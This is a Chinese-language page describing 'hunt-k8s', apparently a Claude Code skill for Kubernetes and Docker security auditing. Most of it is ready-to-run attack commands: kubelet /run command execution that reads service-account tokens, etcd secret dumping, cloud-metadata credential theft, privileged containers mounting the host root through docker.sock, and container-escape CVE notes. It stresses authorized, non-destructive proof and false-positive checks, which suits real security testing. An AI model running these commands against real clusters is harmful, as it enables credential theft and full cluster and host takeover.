关于 hunt-k8s
hunt-k8s 是面向安全测试人员的 Kubernetes 与 Docker 安全审计技能,覆盖从资产指纹识别到漏洞验证和影响确认。它强调以实际数据读取或状态变化证明问题,避免仅凭响应码判断风险。
主要功能
- 01Kubernetes API 与 RBAC 权限检查
- 02Kubelet、etcd 与 Docker socket 测试
- 03服务账户令牌权限与滥用分析
- 04容器逃逸及相关 CVE 检查
- 05Dashboard 与入口控制器风险排查
- 06强调非破坏性影响验证
适用场景
- 01检查匿名或低权限 Kubernetes API 访问
- 02验证 kubelet、etcd 或 Docker socket 暴露
- 03审计服务账户令牌及其实际权限
- 04排查集群组件与容器逃逸风险
安装
复制下面的命令,在终端中运行。
npx skills add https:/ / github.com/ elementalsouls/ claude-bughunter --skill hunt-k8s安装后在 Claude Code 中输入/hunt-k8s确认已加载。
详细介绍
HUNT-K8S — Kubernetes 与 Docker 安全
皇冠级目标
K8s API 匿名集群管理员权限 = 完全控制集群。docker.sock + RCE = 主机 root 权限。一次创建特权 Pod,或通过 kubelet /run 执行 shell 命令,就能将单个发现升级为全面失陷。
最高价值的发现:
- K8s API 匿名集群管理员权限 —
system:anonymous/system:unauthenticated被绑定到强大角色(经典错误配置:在ClusterRoleBinding中将system:anonymous绑定到cluster-admin)→ 完全控制kubectl。仅仅匿名请求返回200并不代表有此权限(参见误报部分)。 - Kubelet
10250exec/run —/run会直接返回命令输出;/exec使用 SPDY/WebSocket 流(参见阶段 3)。两者都能 → 在任意 Pod 中执行 RCE → 窃取该 Pod 的 SA 令牌。 - 通过 API 服务器中介的 kubelet RCE —
/api/v1/nodes/<node>/proxy/run/...使用你的(低权限)令牌,经由 API 服务器访问 kubelet;如果 RBAC 授予了nodes/proxy权限,就能在 Pod 中执行 RCE,无需直接连接 10250。2024-2026 年的主要攻击向量。 - etcd
2379未认证访问 — 所有 Secret(SA 令牌、TLS 密钥、应用凭据)都存储于此,通常以明文保存(除非设置了EncryptionConfiguration)→ 完整导出凭据。 - docker.sock 暴露 — SSRF/LFI/RCE 可访问
/var/run/docker.sock→ 创建--privileged容器,将主机/绑定挂载 → 获取主机 root 权限。 - 通过 runc 逃逸容器 — Leaky Vessels(CVE-2024-21626):
WORKDIR/process.cwd指向泄露的/proc/self/fd/<n>主机 FD → 从攻击者控制的镜像或 exec 中逃逸到主机 root 权限。 - 滥用 SA 令牌 — 自动挂载的令牌位于
/var/run/secrets/kubernetes.io/serviceaccount/token;在声称有影响之前,先通过 SelfSubjectRulesReview 检查其实际授权。 - K8s Dashboard 跳过登录 / 无令牌 API — 无需认证即可访问完整的集群管理界面。
OOB / 确认门槛(请先阅读)
K8s 发现属于 RCE/凭据泄露类别。基本原则:证明状态发生了变化或数据被读取,绝不要仅凭状态码推断。
/api/v1/namespaces返回200并不代表有集群管理员权限。API 服务器会向任何能够访问list namespaces的主体返回经过 RBAC 过滤的列表(通常是空的items: []);匿名读取少量资源很常见,影响也较低。通过 SelfSubjectRulesReview / SelfSubjectAccessReview 确认实际权限,然后实际读取 Secret 值。- 10255(只读)与 10250(exec) 经常被混为一谈。10255(HTTP,无需认证)仅会泄露信息 — 它提供
/pods、/stats、/metrics,没有 exec/run。/run和/exec位于 10250(HTTPS)。不要仅凭访问到 10255 就报告「kubelet RCE」。 - 盲注/出站攻击向量需要 OOB 证明。 如果利用 SSRF→IMDS→K8s,或 Pod 的出站连接,请使用 Burp Collaborator / interactsh 子域名确认出站跳转(例如,通过
/run在 Pod 内执行curl http://<token>.<collab>)。延迟响应或回显的 URL 都不是证明。 - 影响证明 = 实际产物。 对于 exec:提供
id/hostname的原始输出。对于 etcd/Secret:提供解码后的令牌字节(在报告中脱敏)。对于 docker.sock 容器逃逸:提供主机文件内容(节点的/etc/hostname,与容器自身的内容不同)。 - 有创建权限时,请使用专用测试命名空间 / 测试 Pod;绝不要为了「证明」RCE 而在生产工作负载中执行命令 — 如果策略允许,请列出 Pod,并在你创建的 Pod 中执行只读的
id;否则,仅执行一次无破坏性的id并立即停止。
阶段 1 — 指纹识别与端口发现
# Common Kubernetes / container ports
PORTS="443,6443,8443,8080,10250,10255,10256,2379,2380,4194,9090,9100,30000-30010"
nmap -sV -p $PORTS $TARGET 2>/dev/null | grep open
# API server fingerprint — the /version endpoint is anonymous on most clusters
curl -sk "https://$TARGET:6443/version" # {"major":"1","minor":"29","gitVersion":"v1.29.x"...}
curl -sk "https://$TARGET:6443/api" # APIVersions list, even pre-auth
curl -sk "https://$TARGET:6443/healthz"
# Cloud metadata pivot (reach K8s SA / node creds from an SSRF foothold)
curl -s "http://169.254.169.254/latest/meta-data/iam/security-credentials/" # AWS EKS (IMDSv1)
TOK=$(curl -s -X PUT "http://169.254.169.254/latest/api/token" -H "X-aws-ec2-metadata-token-ttl-seconds: 60") # IMDSv2
curl -s -H "X-aws-ec2-metadata-token: $TOK" "http://169.254.169.254/latest/meta-data/iam/security-credentials/"
curl -s "http://169.254.169.254/metadata/instance?api-version=2021-02-01" -H "Metadata: true" # Azure AKS
curl -s "http://metadata.google.internal/computeMetadata/v1/instance/service-accounts/default/token" -H "Metadata-Flavor: Google" # GKE
记录 gitVersion — 它决定了以下每个 CVE 是否适用。
阶段 2 — Kubernetes API 匿名 / 低权限访问
SRV="https://$TARGET:6443"
# 1. What am I? (anonymous → "system:anonymous")
curl -sk "$SRV/apis/authentication.k8s.io/v1/selfsubjectreviews" -X POST \
-H 'Content-Type: application/json' \
-d '{"apiVersion":"authentication.k8s.io/v1","kind":"SelfSubjectReview"}'
# 2. What can I actually DO? (the only honest privilege check)
curl -sk "$SRV/apis/authorization.k8s.io/v1/selfsubjectrulesreviews" -X POST \
-H 'Content-Type: application/json' \
-d '{"kind":"SelfSubjectRulesReview","apiVersion":"authorization.k8s.io/v1","spec":{"namespace":"default"}}'
# 3. Targeted access check for the crown-jewel verbs
for R in secrets pods nodes/proxy pods/exec; do
curl -sk "$SRV/apis/authorization.k8s.io/v1/selfsubjectaccessreviews" -X POST \
-H 'Content-Type: application/json' \
-d "{\"kind\":\"SelfSubjectAccessReview\",\"apiVersion\":\"authorization.k8s.io/v1\",\"spec\":{\"resourceAttributes\":{\"verb\":\"create\",\"resource\":\"${R%%/*}\",\"subresource\":\"${R#*/}\"}}}" \
| grep -o '"allowed":[a-z]*' | sed "s#^#$R #"
done
# 4. Only if access review says allowed — read a real Secret to prove impact
curl -sk "$SRV/api/v1/secrets" | python3 -c 'import sys,json;d=json.load(sys.stdin);print(len(d.get("items",[])),"secrets")'
# decode one value (redact before reporting):
# echo '<base64>' | base64 -d
CVE-2018-1002105(gitVersion < v1.10.11/1.11.5/1.12.3):API 服务器代理升级漏洞允许未认证/低权限用户升级为向后端(kubelet/聚合 API)发送请求时使用 API 服务器身份 → 获取集群管理员权限。在阶段 1 获取 gitVersion 指纹;如果存在漏洞,这是影响最大的一项发现。
阶段 3 — Kubelet(端口 10250)— 优先使用 /run,正确处理 /exec
此技能的早期版本将 /exec 作为普通的 POST 发送,并期望获得 id 输出。这是错误的。 /exec 是一个 SPDY/WebSocket 流式端点:普通 POST 会返回一个 302 重定向到流位置(例如 /cri/exec/<token>),然后你必须使用 SPDY/WebSocket 客户端读取该位置。运行旧版 curl 的操作者什么也看不到,便会错误地认为 kubelet 已修补。
SRV="https://$TARGET:10250"
# Enumerate pods (auth varies; many kubelets allow anonymous read here)
curl -sk "$SRV/pods" | python3 -m json.tool 2>/dev/null \
| grep -E '"namespace"|"name"|"containerName"' | head -40
NS=default; POD=target-pod; CTR=app
# --- PRIMITIVE A: /run — returns command output DIRECTLY (no stream handling) ---
# This is the simple correct primitive. Use this first.
curl -sk -X POST "$SRV/run/$NS/$POD/$CTR" -d "cmd=id"
curl -sk -X POST "$SRV/run/$NS/$POD/$CTR" -d "cmd=cat /var/run/secrets/kubernetes.io/serviceaccount/token"
# --- PRIMITIVE B: /exec — SPDY/WebSocket stream, NOT a plain POST ---
# Option 1: kubeletctl handles the stream transport for you (recommended)
# kubeletctl --server $TARGET exec "id" -p $POD -c $CTR -n $NS
# kubeletctl --server $TARGET scan rce # finds every exec-able pod
# Option 2: raw — the POST returns a 302 to a stream path; -v to see Location, then
# read it with a SPDY3.1/WebSocket client (wscat / websocat), e.g.:
# curl -sk -i -X POST "$SRV/exec/$NS/$POD/$CTR?command=id&input=1&output=1&tty=0" # shows 302 Location
# websocat -k "wss://$TARGET:10250/cri/exec/<token-from-Location>"
# Container logs (read-only, no stream)
curl -sk "$SRV/containerLogs/$NS/$POD/$CTR"
# Read-only kubelet 10255 — INFO DISCLOSURE ONLY, no exec/run. Do not call this "RCE".
curl -s "http://$TARGET:10255/pods" | python3 -m json.tool 2>/dev/null | head
curl -s "http://$TARGET:10255/metrics" | head
CVE-2020-8558(主机网络信任):在受影响的 kube-proxy 上,绑定到节点 127.0.0.1 的服务(包括只读 kubelet 和其他仅限本地主机访问的服务)会通过节点 IP 从其他 Pod/相邻主机访问,从而破坏本地主机信任边界——这为原本被认为只能通过环回接口访问的 kubelet/etcd 提供了横向移动路径。
阶段 4 — 由 API Server 中介的 Kubelet RCE(nodes/proxy)
当 10250 被防火墙拦截,但你持有具有 nodes/proxy 权限的令牌(即使是低权限 Pod SA)时,可通过 API Server路由 exec:
SRV="https://$TARGET:6443"; H="-H \"Authorization: Bearer $TOKEN\""
NODE=$(curl -sk -H "Authorization: Bearer $TOKEN" "$SRV/api/v1/nodes" | grep -o '"name":"[^"]*"' | head -1 | cut -d'"' -f4)
# /run via the node proxy → output comes straight back
curl -sk -X POST -H "Authorization: Bearer $TOKEN" \
"$SRV/api/v1/nodes/$NODE/proxy/run/$NS/$POD/$CTR" -d "cmd=id"
# enumerate every pod on a node via the proxy
curl -sk -H "Authorization: Bearer $TOKEN" "$SRV/api/v1/nodes/$NODE/proxy/pods"
任何已绑定角色中的 nodes/proxy 实际上都意味着节点范围的 RCE。CVE-2022-3294(kube-apiserver 节点地址验证):经过身份验证的用户可以将 API Server 的代理连接重定向到其可访问的任意主机/IP(代理到内部 SSRF/节点冒充)——当你可以影响节点地址或使用代理子资源时,此漏洞尤为相关。
阶段 4b — Ingress-NGINX“IngressNightmare”(CVE-2025-1974)
能够访问 ingress-nginx 准入控制器(:8443,通常仅限集群内部,但有时会暴露)的未认证攻击者,可通过为 Ingress 对象构造 AdmissionReview 注入任意 NGINX 配置 -> 在控制器 Pod 中实现 RCE;该 Pod 的服务账户权限很高 -> 完全攻陷集群。识别控制器版本(/healthz、Pod 镜像标签),并确认其是否低于 1.11.5/1.12.1。(CVE-2025-1974 以及 CVE-2025-1097/1098/24513/24514。)
阶段 5 — etcd 未授权访问(端口 2379)
# etcd holds ALL cluster state. Secrets are plaintext UNLESS EncryptionConfiguration is set.
ETCDCTL_API=3 etcdctl --endpoints=http://$TARGET:2379 get / --prefix --keys-only 2>/dev/null | head -50
ETCDCTL_API=3 etcdctl --endpoints=http://$TARGET:2379 \
get /registry/secrets --prefix 2>/dev/null | strings | grep -Ei 'token|password|tls.key|dockerconfig' | head -40
# HTTP/JSON gateway (key/range are base64; "Lw==" == "/")
curl -s "http://$TARGET:2379/v3/kv/range" -H 'Content-Type: application/json' \
-d '{"key":"L3JlZ2lzdHJ5L3NlY3JldHM=","range_end":"L3JlZ2lzdHJ5L3NlY3JldHQ=","limit":20}' | python3 -m json.tool
# v2 (older clusters)
curl -s "http://$TARGET:2379/v2/keys/?recursive=true" | python3 -m json.tool 2>/dev/null | head
从 etcd 恢复的 SA 令牌 → 对 API Server 重放(阶段 6)以确认授权。**误报:**从 etcd 对等端口 2380 收到 200,或 TLS 必需端口返回握手错误,并不代表客户端可未授权访问——只有成功执行 range/get 并获得密钥数据才算。
阶段 6 — 滥用服务账户令牌(绑定/投射令牌)
# From RCE/LFI inside a pod:
TOKEN=$(cat /var/run/secrets/kubernetes.io/serviceaccount/token)
NS=$(cat /var/run/secrets/kubernetes.io/serviceaccount/namespace)
API="https://kubernetes.default.svc"
# Modern tokens are BOUND (projected): they have an audience + short expiry. DECODE before claiming reuse.
echo "$TOKEN" | cut -d. -f2 | tr '_-' '/+' | base64 -d 2>/dev/null | python3 -m json.tool
# Look at: "aud" (must match the API server audience to be accepted),
# "exp" (projected tokens rotate ~1h — a captured token may already be dead),
# "kubernetes.io/serviceaccount" (pod/node binding — token dies with the pod).
# If aud is e.g. ["vault"] not the api-server audience, it will NOT authenticate to the API → not cluster impact.
# Honest privilege check, then prove with a real read
curl -sk "$API/apis/authorization.k8s.io/v1/selfsubjectrulesreviews" -X POST \
-H "Authorization: Bearer $TOKEN" -H 'Content-Type: application/json' \
-d "{\"kind\":\"SelfSubjectRulesReview\",\"apiVersion\":\"authorization.k8s.io/v1\",\"spec\":{\"namespace\":\"$NS\"}}"
curl -sk "$API/api/v1/namespaces/$NS/secrets" -H "Authorization: Bearer $TOKEN"
**EphemeralContainers 节点 Shell 权限提升:**拥有 pods/ephemeralcontainers(或 Pod create)权限时,可附加一个共享主机命名空间的调试容器,以逃逸 Pod:
kubectl debug node/$NODE -it --image=busybox # mounts host root at /host → chroot /host
# or patch an ephemeral container with hostPID/privileged via the API:
curl -sk -X PATCH "$API/api/v1/namespaces/$NS/pods/$POD/ephemeralcontainers" \
-H "Authorization: Bearer $TOKEN" -H 'Content-Type: application/strategic-merge-patch+json' \
-d '{"spec":{"ephemeralContainers":[{"name":"x","image":"busybox","command":["sleep","1d"],"securityContext":{"privileged":true}}]}}'
阶段 7 — Docker Socket 暴露与 runc 容器逃逸
# docker.sock reachable (SSRF unix://, LFI of socket, or RCE on host)
curl -s --unix-socket /var/run/docker.sock http://localhost/v1.41/info
curl -s --unix-socket /var/run/docker.sock http://localhost/v1.41/containers/json
# Privileged container bind-mounting host root → read/write host fs (host escape)
curl -s --unix-socket /var/run/docker.sock -H 'Content-Type: application/json' \
-X POST http://localhost/v1.41/containers/create?name=poc \
-d '{"Image":"alpine","Cmd":["cat","/host/etc/hostname"],"HostConfig":{"Binds":["/:/host"],"Privileged":true}}'
curl -s --unix-socket /var/run/docker.sock -X POST http://localhost/v1.41/containers/poc/start
curl -s --unix-socket /var/run/docker.sock "http://localhost/v1.41/containers/poc/logs?stdout=1"
# Impact proof = the NODE's /etc/hostname (differs from the container's hostname).
容器逃逸 CVE(根据 runc/版本进行判断):
- **CVE-2024-21626 — “Leaky Vessels”(runc ≤ 1.1.11):**通过
/proc/self/fd/<n>泄漏的主机文件描述符,可使恶意镜像(WORKDIR /proc/self/fd/N)或runc exec工作目录逃逸到主机文件系统 → 主机 RCE。仅在你能控制镜像、且可影响 Dockerfile 的构建/注册表环境中进行测试。 - **CVE-2019-5736(runc):**从你能够 exec 进入的容器内部覆盖主机的
/proc/self/exe(即 runc 二进制文件)→ 下次调用 runc 时获得主机 root 权限。适用于非常旧的 runc 版本。 - **CVE-2022-0492(cgroups v1
release_agent):**具有CAP_SYS_ADMIN的容器(或能够挂载 cgroupfs 的容器)写入一个会在主机上执行的release_agent→ 逃逸。先检查容器能力。
阶段 8 — Dashboard、准入控制、Helm/Tiller 残留项
# Kubernetes Dashboard — correct API base is /api/v1/... UNDER the dashboard service.
curl -sk "https://$TARGET:8443/" | grep -i "kubernetes dashboard"
# token-less probe (skip-login or anonymous-bound dashboard SA):
curl -sk "https://$TARGET:8443/api/v1/secret/default" # secrets list view
curl -sk "https://$TARGET:8443/api/v1/pod/default" # pods list view
curl -sk "https://$TARGET:8443/api/v1/namespace" # namespaces
# (paths are <resource> not <resource>/<id>; a 200 with real items = unauth dashboard data access)
# Helm 2 / Tiller remnant — gRPC on 44134, historically NO auth → full cluster as Tiller's SA
nmap -p 44134 -sV $TARGET
# helm --host $TARGET:44134 ls # if it answers, Tiller is exposed → install/delete any release
# Validating/Mutating admission webhooks — enumerate to find bypassable policy or SSRF-able webhook URLs
curl -sk "$SRV/apis/admissionregistration.k8s.io/v1/validatingwebhookconfigurations" -H "Authorization: Bearer $TOKEN"
# A webhook clientConfig.url pointing at an external/attacker-influenced host = SSRF/bypass surface.
链式攻击表
| K8s 发现 | 后续利用 | 影响 |
|---|---|---|
| API 匿名访问 且已确认可读取 Secret | 提取 SA/TLS/应用凭据 | 完全控制集群 |
nodes/proxy 令牌 | 通过 API server 执行 /run → Pod RCE → SA 令牌 | 全节点 RCE → 权限提升 |
Kubelet 10250 /run | 在任意 Pod 中执行命令 → 窃取 SA 令牌 → 访问 API | 集群权限提升 |
| etcd 2379 未认证 | 导出所有 Secret(若未加密)→ 重放令牌 | 完全导出凭据 |
| docker.sock | 特权容器 + 主机绑定挂载 | 主机 root 权限 |
| CVE-2024-21626 (runc) | 恶意镜像/执行命令 → 主机 FD 逃逸 | 从容器逃逸至主机 root 权限 |
| EphemeralContainers / pods create | 特权/hostPID 调试容器 | 从 Pod 逃逸至节点 |
| Projected SA 令牌(aud 匹配) | 访问受其实际 RBAC 限制的 API | 取决于 RBAC — 请先验证 |
| Tiller 44134 暴露 | 以 Tiller SA 身份执行 helm install | 若 Tiller 具有特权,则可获得 cluster-admin 权限 |
排除误报
- 匿名访问返回
200≠ cluster-admin。 受 RBAC 限制的列表请求会返回200/空items。必须通过 SelfSubjectRulesReview 确认相关动词,然后实际读取 Secret 值。 - 10255 ≠ 10250。 只读 kubelet 不支持 exec/run。“Kubelet RCE”必须有
/run输出,或 10250 上已完成的/exec流作为依据。 /exec普通 POST 返回 302,而非输出。 看不到响应正文不代表“已修复”——下结论前请跟踪流(kubeletctl/websocat)。- Projected/bound SA 令牌可能已失效或受众错误。 解码
exp和aud;面向 Vault/OIDC 的令牌无法通过 API server 认证。 - 不要假设 etcd 中的数据为明文。 如果启用了
EncryptionConfiguration,etcd 中的 Secret 值就是密文——没有展示解码后的字节前,不要声称存在“明文 Secret”。 - CVE 受版本限制。 在断言存在 CVE-2018-1002105、-2024-21626、-2019-5736 等漏洞前,请确认
gitVersion(阶段 1)/runc 版本。版本匹配只是线索;PoC 输出才是证据。 - Dashboard 的 HTML 框架页面返回
200只是登录页;只有/api/v1/<resource>/<ns>下真实资源 JSON 返回200,才能证明无需令牌即可访问数据。
验证清单
- API 匿名访问: SelfSubjectRulesReview 显示具有特权的动词,且已实际读取 Secret 值(已脱敏)。
- Kubelet: 从 10250
/run返回了id/hostname的实际输出,或已完成/exec流——不能只是 302。 - nodes/proxy RCE: 使用你的令牌,通过
/api/v1/nodes/<node>/proxy/run/...返回了命令输出。 - etcd: 展示了解码后的 Secret 字节(证明数据未加密且可读),而非仅列出键。
- docker.sock / 逃逸: 已获取节点的主机文件内容(与容器内文件不同),或提供了 runc 逃逸 PoC 输出。
- SA 令牌: 已解码并展示有效的
aud/exp;影响范围以其实际 RBAC 为限。 - 带外(OOB): 已通过 Collaborator/interactsh 子域确认任意出站连接/SSRF 跳转。
严重性:
- API 匿名访问读取 Secret、kubelet/nodes-proxy RCE、etcd 导出、docker.sock/runc 逃逸、CVE-2018-1002105:严重
- Dashboard 无需令牌即可访问数据、Tiller 暴露:高
- 只读 kubelet 10255、匿名访问
/version//pods导致信息泄露:中